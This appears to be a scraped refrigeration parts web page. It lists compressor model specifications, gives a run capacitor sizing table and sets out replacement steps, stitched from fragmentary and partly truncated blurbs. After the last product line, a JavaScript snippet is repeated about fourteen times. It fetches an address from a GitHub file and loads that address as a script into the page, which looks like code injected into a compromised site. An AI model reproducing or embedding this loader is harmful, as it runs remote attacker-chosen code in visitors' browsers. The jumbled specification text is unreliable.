Using original Embraco parts is crucial for maintaining the efficiency and longevity of refrigeration systems. Manufacturers like Embraco invest significant resources into testing and designing these components to ensure optimal performance. Replacing worn or generic parts can lead to decreased efficiency and increased risk of failure
Availability of Embraco Start Capacitors
Embraco start capacitors are available through various suppliers, often categorized by specific model numbers. For example:
Ojeda 100517034 Start Capacitor: Designed for specific freezer applications
Embraco 513556535ESP-ALL: A versatile option suitable for various compressor models
Embraco 43-53µF Start Capacitor: Another specific model available for purchase
The PH31VNET is a rotary compressor primarily used in refrigeration and air conditioning systems. Here are its key specifications and features:
The PH31VNET rotary compressor has a power rating of approximately 1.5 horsepower (hp). This rating is commonly used to describe the power output of compressors in air conditioning and refrigeration applications, indicating its capability to handle cooling loads effectively
Specifications
Refrigerant Gas: R22
Input Power: 3160W
Cooling Capacity: 18570 BTU
Voltage: 220-240V, 50Hz, Single Phase
Brand: Often associated with Mitsubishi and Siam Compressor Industry Co., Ltd.
Applications
The PH31VNET compressor is suitable for various applications including:
Air conditioning systems
Refrigeration units
Dryers
This model is designed to provide efficient cooling and is typically used in both residential and commercial settings. Its compatibility with R22 refrigerant makes it relevant for systems that utilize this type of gas, although there may be considerations regarding regulatory compliance for refrigerants in certain regions.Overall, the PH31VNET is recognized for its reliability and performance in cooling applications.
The Copeland CR62KQM-TFD-202 is a hermetic reciprocating compressor designed for refrigeration applications. Here are its key specifications and features:
Specifications
Model: CR62KQM-TFD-202
Horsepower (HP): 5 HP
Refrigerant: R22
Voltage Rating: 380-420 V, 3-phase, 50 Hz
Cooling Capacity: Approximately 61,300 BTU/hr
Input Power: 6,075 Watts
Rated Load Amps (RLA): 8.8 A
Locked Rotor Amps (LRA): 55 A
Energy Efficiency Ratio (EER): 10.10
Performance Characteristics
This compressor is engineered for high efficiency and reliability, making it suitable for various refrigeration applications, including cold storage and commercial refrigeration systems. It is optimized to handle high ambient conditions (up to 55°C) and has strong liquid handling capabilities.
The Comp HKK95AA is a compressor designed for refrigeration applications, specifically operating at 220-240V and 50Hz, with a capacity of 1/5 HP (167W) and using R600a refrigerant. Here are some key details:
Model: Comp HKK95AA
Voltage: 220-240V
Frequency: 50Hz
Power: 1/5 HP (approximately 167W)
Refrigerant Type: R600a (Isobutane)
The Comp HKK95AA compressor is classified as a Low Back Pressure (LBP) compressor. This classification means it is designed for applications that operate at lower pressure differentials, making it suitable for domestic refrigeration systems, such as:
Household Refrigerators: These typically maintain temperatures between 0°C to 5°C (32°F to 41°F).
Domestic Freezers: Operating around -18°C (0°F) for effective food preservation.
LBP compressors are ideal for environments where the cooling load is moderate and consistent, which aligns with the typical usage scenarios for the HKK95AA
The QXC-16K is a rotary compressor designed for refrigeration applications, particularly in dehumidifiers and air conditioning systems. Here are its key specifications and features:
Specifications
Model: QXC-16K
Refrigerant Type: R407C
Voltage: 220-240V, 50Hz
Cooling Capacity: 2670 W (approximately 9078 Btu/h) at an evaporating temperature of +7.2°C and condensing temperature of +54.4°C.
The AW703ET-094-A4 is a model of compressor produced by Tecumseh, specifically designed for air conditioning and high back pressure (HBP) applications. Here are the key specifications:
Specifications
Type: Reciprocating Compressor
Application: Suitable for air conditioning (AC) and high back pressure (HBP) systems.
Refrigerants: Compatible with R-22 and R-407C.
Power:
Horsepower: 2 HP
Voltage:
200-220V at 50Hz
208-230V at 60Hz
Cooling Capacity: Approximately 18,800 BTU.
Design: Hermetic type, meaning it is sealed to prevent refrigerant leakage.
Embraco EGUS 80HLP compressor along with its specifications and details related to LBP (Low Back Pressure) applications:
Specification
Details
Model
EGUS 80HLP
Type
Hermetic Compressor
Refrigerant
R-134a
Voltage
115-127V / 220-240V
Frequency
60 Hz (for 115V) / 50 Hz (for 220V)
Nominal Horsepower
1/4 HP (0.25 HP)
Displacement
6.36 cm³
Cooling Capacity @ -10°F
840 BTU
Cooling Capacity @ 20°F
1995 BTU
Cooling Capacity @ 45°F
3530 BTU
Power Consumption
Approximately 187 watts (0.24 kW)
Application Type
Designed for LBP applications, adaptable for medium/high back pressure (M/HBP) applications
Typical Uses
– Refrigerators
– Freezers
– Ice machines
– Commercial displays and vending machines
This table provides a comprehensive overview of the Embraco EGUS 80HLP compressor, highlighting its specifications, performance metrics, and suitability for low back pressure applications.
The compressor model CRAQ-0150-PFV-501 is a Hermetic compressor manufactured by Copeland. It is a 1-phase, 208/230V compressor designed for air conditioning applications. The compressor uses HCFC or R-22 refrigerant and operates at 60Hz.
Here are some of the key specifications of the CRAQ-0150-PFV-501 compressor:
Capacity: 18,300 – 23,900 BTU/hr
Power: 1,910 – 1,520 W
Current: 8.8 – 7.0 Amps
EER: 9.6 – 15.7 BTU/Wh
Mass Flow: 268 – 308 lbs/hr
Sound Power: 72 – 77 dBA
Vibration: 1.7 – 2.7 mils (peak-peak)
Displacement: 2.00 in^3/Rev
Overall Length: 9.44 in
Overall Width: 9.13 in
Overall Height: 13.56 in
Mounting Length: 7.50 in
Mounting Width: 7.50 in
Mounting Height: 13.94 in
Suction Size: 5/8 in
Discharge Size: 3/8 in
Initial Oil Charge: 55 oz
Oil Recharge: 51 oz
Net Weight: 61.0 lbs
Internal Free Volume: 345.0 in^3
This compressor is no longer in production and has been replaced by newer, more efficient models. However, it is still a popular choice for replacement applications due to its reliability and performance.
c-bzN101 appears to be a model number for a KULTHORN refrigerator compressor. It’s specifically a 1/8HP compressor, which is commonly used in smaller refrigerators.
This compressor is known for its reliable performance, energy efficiency, and quiet operation. It’s a popular choice for replacement in various refrigeration appliances.
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Air Conditioner Capacities and Run Capacitors with +/- 5% Variations for Technicians
This comprehensive table presents the recommended run capacitor capacities for various air conditioner cooling capacities, catering specifically to technicians and HVAC professionals. It’s crucial to note that these values are estimates, and the actual run capacitor capacity may vary depending on the specific brand, model, and specifications of your air conditioner. Always consult the air conditioner’s owner’s manual to determine the exact run capacitor capacity required. Using an incorrect run capacitor can damage your air conditioner and pose safety risks.
Key:
BTU/h: British Thermal Units per hour (measure of cooling capacity)
µF: Microfarad (unit of capacitance)
Air Conditioner Cooling Capacity (BTU/h)
Recommended Run Capacitor (µF)
+5% Variation (µF)
-5% Variation (µF)
External Fan Run Capacitor (µF)
-5% of External Fan Run Capacitor (µF)
+5% of External Fan Run Capacitor (µF)
9,000
30
31.5
28.5
1.5
1.35
1.65
12,000
35
36.75
33.25
2.0
1.8
2.2
18,000
45
47.25
42.75
2.5
2.25
2.75
24,000
55
57.75
52.25
3.0
2.7
3.3
30,000
65
68.25
61.75
3.5
3.15
3.85
36,000
80
84
76
4.0
3.6
4.4
Understanding External Fan Run Capacitor:
The values in this column are provided for informational purposes only and should not be used as a direct replacement for the recommended run capacitor capacity. Technicians should exercise caution when selecting a run capacitor that is slightly larger or smaller than the recommended value. In such cases, it’s highly recommended to consult with a qualified HVAC specialist for specific guidance based on the particular air conditioner unit.
Additional Considerations for Technicians:
The size of the run capacitor is typically determined by the motor power of the air conditioner.
A run capacitor that is too small can prevent the motor from starting properly, leading to potential malfunctions.
Conversely, a run capacitor that is too large can overheat and cause damage to the motor.
Always exercise caution and consult a qualified HVAC professional if you have any doubts about the appropriate run capacitor for a specific air conditioner.
Technical Explanations and Guidance:
Capacitor Tolerance:The +/- 5% variations in the table represent the tolerance range for the recommended run capacitor values. This means that the actual capacitance of the selected capacitor may be slightly higher or lower than the recommended value within this range. However, it’s crucial to stay within this tolerance range to ensure optimal performance and prevent potential issues.
Selecting the Right Run Capacitor:When selecting a run capacitor for an air conditioner, it’s essential to consider the following factors:
Air Conditioner Cooling Capacity (BTU/h): Match the run capacitor capacity to the corresponding BTU/h rating of the air conditioner.
Motor Power: Ensure the run capacitor’s voltage rating matches the motor’s voltage requirement.
Physical Size: Verify that the run capacitor’s physical dimensions fit the available space within the air conditioner unit.
Brand Reputation: Opt for run capacitors from reputable brands known for their reliability and quality.
Replacing Run Capacitors:Replacing a run capacitor should be done with caution and proper electrical safety procedures. Here’s a general guideline:
Disconnect Power: Before attempting any work, ensure the air conditioner is completely disconnected from the power source.
Discharge Existing Capacitor: Use an appropriate discharging tool to safely discharge the existing capacitor.
Identify Replacement Capacitor: Carefully remove the old capacitor and note its specifications (capacitance, voltage, terminal type). Select a new capacitor with matching specifications.
Install New Capacitor: Install the new capacitor, ensuring proper polarity and terminal connections.
Reconnect Power: Once the new capacitor is securely installed, reconnect the power supply to the air conditioner.
1.Product Performance 1)ASQ91H, Q series, use R134A refrigerant; 2)Voltage application 220V to 240V; 3)Frequency for 50/60HZ; 4)Motor type: RSIR; 5)Cooling type: ST; 6)Starting device is PTC Relay; 7)Application: Low Back Pressure; 8)Nominal power is 1/3HP; 9)COP is 1.25 with the cooling capacity 220W.
This model has passed CB/VDE certificates, and main characters as below 1)Small size; 2)High efficiency & reliability; 3)Low noise & vibration; 4)Applied to mini refrigerator, water dispenser, etc.
Hermetic medium-temperature piston compressor is used for medium-power refrigeration equipment (showcases, cabinets, cabinets, etc.). Designed to work as part of a refrigeration machine with R134a refrigerant. Produced at the TECUMSEH plant. Supplied in individual packaging. Rotalock valve for suction under 1/2 nut.
The main features of Tecumseh TYA compressors: – lower weight and height compared to similar CAJ compressors, – a thermal protection relay built into the compressor housing, – a rotallock valve for the compressor suction with a nut.
Test conditions: ASHRAE: To=-23°C, Tk=+54°C, Tr=+32 °C LBP Suction pipeline, inch: Rotalock suction valve for 1/2 nut. Discharge pipe, inch: soldering Cylinder volume, cm3: 22.33 Rotalock valve on the discharge pipe: no Cooling capacity, W: 2081 Power consumption, W: 822 Rotalock valve on the suction pipe: yes Compressor type: hbp, sealed piston CSR Compressor height, mm: 234.5 Net weight, kg: 19
Note: This datasheet describes certain operational parameters and conditions for operation of this product. If this product is operated outside of the parameters and conditions stated herein, buyer assumes sole and full responsibility.
The cooling capacity of the ETZ95L compressor is approximately 165 kcal/h or 165 W This compressor, specifically the Huayi model HPY12AAa that uses the ETZ95L, is designed for refrigeration applications and operates with a voltage of 220-240V at 50Hz. The ETZ95L compressor is associated with Huaguang compressors and has a similar cooling capacity of 165 kcal/h
Mbsm_dot_pro_private_PDFMbsm_dot_pro_private_PDF_S26TY https://www.mbsm.pro/wp-content/uploads/2025/04/Mbsm_dot_pro_private_PDFMbsm_dot_pro_private_PDF_S26TY.pdf The P14TY is a refrigerant compressor model listed in the provided datasheet, designed for use in refrigeration or air conditioning systems. Below is a summarized technical breakdown of its key specifications:
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https://www.mbsm.pro/wp-content/uploads/2025/03/Mbsm_dot_pro_private_PDFMbsm_dot_pro_private_PDF_FG-95HAKW.pdf
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Danfoss compressors are widely recognized for their reliability and efficiency in various refrigeration and air conditioning systems. This article provides a detailed overview of the specifications of different Danfoss compressor models, focusing on capillary length, oil quantity, horsepower, and their respective applications.
Mbsm_dot_pro_private_PDFmbsm.pro-Mbsmpro Comprehensive Guide to Danfoss Compressors Specifications Applications and Selection Tips
The information you provided describes a Copeland compressor with the model number CRC1-0175-PFU-501, which is a 2-ton, 2.25 HP unit designed for R22 refrigerant. It is compatible with an ESAH-18CH system, which is an 18,000 BTU (1.5-ton) unit with a power input of 1920 watts. Here’s a breakdown of the details:
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CML45FB3N, CML60FB3N, CML80FB3N, CML90FB3N, CMP12FB3N, CMP14FB3N, CMX18FB3N, CMR22FB3N, CMS26FB3N, CMS3OFB3N, CML40TB3N, CML45TB3N, CML60TB3N, CML80TB3N, CML90TB3N, CMP12TB3N, CMP14TB3N, CMX16TB3N, CMX18TB3N, CMR22TB3N, CMS26TB3N, CGL40TB3NR, CGL45TB3NR, CGL60TB3NR, CGL90TB3NR, CGP10RB3N, CGP12TB3NR, CGP14TB3NR, CGX18TB3N, CGX21TB3N, CGS26TB3N, CGS30TB3N, CGS34TB3N https://mbsm.pro/wp-content/uploads/uploads/Mbsm-tn-media-Electrolux-Compressor-Data.pdf
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– **DANFOSS**
– R12
– TL2.5A
– TL3A
– TL4A
– TL5A
– FR7.5A
– FR8.5
– FR10A
– **ELECTROLUX**
– AE1277
– AE29N60
– AEZ1332A
– AEZ1336A
– AEZ1343A
– AEZ1360A
– AEZ1380A
– AE1410A
– AE1410B
– **EMBRACO**
– M2.5J
– M3J
– M4J
– M5
– M7
– M9
– M11
– **UH France**
– BP1058A
– BP1072A
– BP1084A
– BP1111A
– **LEC**
– S33601
– S36101
– S36601
– **MATSUSHITA**
– B5A15
– B5A36
– B9A19
– B9A27
– **NECCHI**
– FN24N45
– FN25N40
– FN29N60
– FN43F67S
– **IRE**
– E30101
– E30601
– E59101
– **ASPRA**
– AZ1320A
– AZ1328A
– AZ1335A
– AZ1340A
– AZ1345
– AZ1355
– AZ1355D
– **BOSH**
– V612
– V792
– V1040
– V1350
– **PRESTCOLD**
– E80101A
– E80601
– E80801
– **ZEN**
– E59101
– E59301
– **AEG**
– AE8ZA7
– AE1027
– AE1410A
– **COPIDEN**
– AEZ1410D
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Visit Link for more informations; https://www.mbsm.pro/c-bzn175l5z https://mbsm.pro/wp-content/uploads/uploads/Mbsm-tn-media-Compressor-C-BZ120-1-6-hp-120w-Mhbp-r12-C-BZ-C-BZN-KULTHORN-KULTHORN.pdf The C-BZ120 is a model of compressor manufactured by Kulthorn Kirby, a well-known company in the refrigeration and air conditioning industry. Here’s a breakdown of the details you provided:
The C-BZ120 compressor is typically used in small refrigeration units, such as:
Mbsm_dot_pro_private_PDFCompressor-s36G-R134a-32g-water-cooler-BLY-F-950
Compressor BPM1084Z, B1085A, AE8ZA7: A Comprehensive Overview In the world of refrigeration and air conditioning systems, compressors play a pivotal role in ensuring efficient operation. One such compressor that has gained significant attention for its reliability and performance is the BPM1084Z/B1085A/AE8ZA7 , which is widely used in applications requiring precise temperature control. This article delves into the specifications, features, and applications of this compressor, making it easier to understand why it’s a popular choice for various industries.
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Discover the Perfect Unit for Your Needs! Whether you’re upgrading industrial equipment or selecting machinery for a specialized project, choosing the right horsepower (HP) unit is crucial for efficiency and performance. Check out our detailed specifications below to find the ideal match for your requirements!
Huayi Series Refrigeration Compressor 240V/50HzRefrigeration Compressor for Refrigerator, freezer, drinking fountains and home ice cream.;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});
